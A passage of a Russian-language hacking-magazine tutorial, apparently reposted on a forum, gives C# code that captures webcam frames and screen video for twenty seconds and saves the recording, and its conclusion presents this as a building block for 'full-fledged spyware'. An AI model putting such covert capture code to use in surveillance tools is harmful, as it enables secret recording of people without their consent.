static VideoCaptureDevice StartWebCamCapture()
{
    FilterInfoCollection videoDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
    if (videoDevices.Count == 0)
        throw new ApplicationException("No webcam found.");
    VideoCaptureDevice videoSource = new VideoCaptureDevice(videoDevices[0].MonikerString);
    videoSource.NewFrame += video_NewFrame;
    videoSource.Start();
    return videoSource;
}
static void video_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
    lock (webcamFrameLock)
    {
        webcamFrame?.Dispose();
        webcamFrame = (Bitmap)eventArgs.Frame.Clone();
    }
}
Затем программа ждет 20 секунд, видео пишется, после чего потоки приостанавливаются, а полученная запись сохраняется в файл.
Код: Скопировать в буфер обмена
Код:
    Thread.Sleep(20000); // Двадцать секунд для записи
    isRecording = false;
    videoSource.SignalToStop();
    videoSource.WaitForStop();
    screenThread.Join();
    writer.Close();
    Console.WriteLine("Recording finished.");
}
Запускаем — и в каталоге с программой видим заветный видеоролик!
Успешный захват



ВЫВОДЫ​

Не зря любая книжка по WinAPI для начинающих первым делом рассказывает о графике! И не зря в вузе столько времени показывали C# и механизм его работы. Совместив разрозненные знания, можно писать сложные и необычные штуки, в том числе полноценную спайварь.

Источник xakep.ru
Автор @MichelleVermishelle | TG: @Michaelzhm
 
Сверху Снизу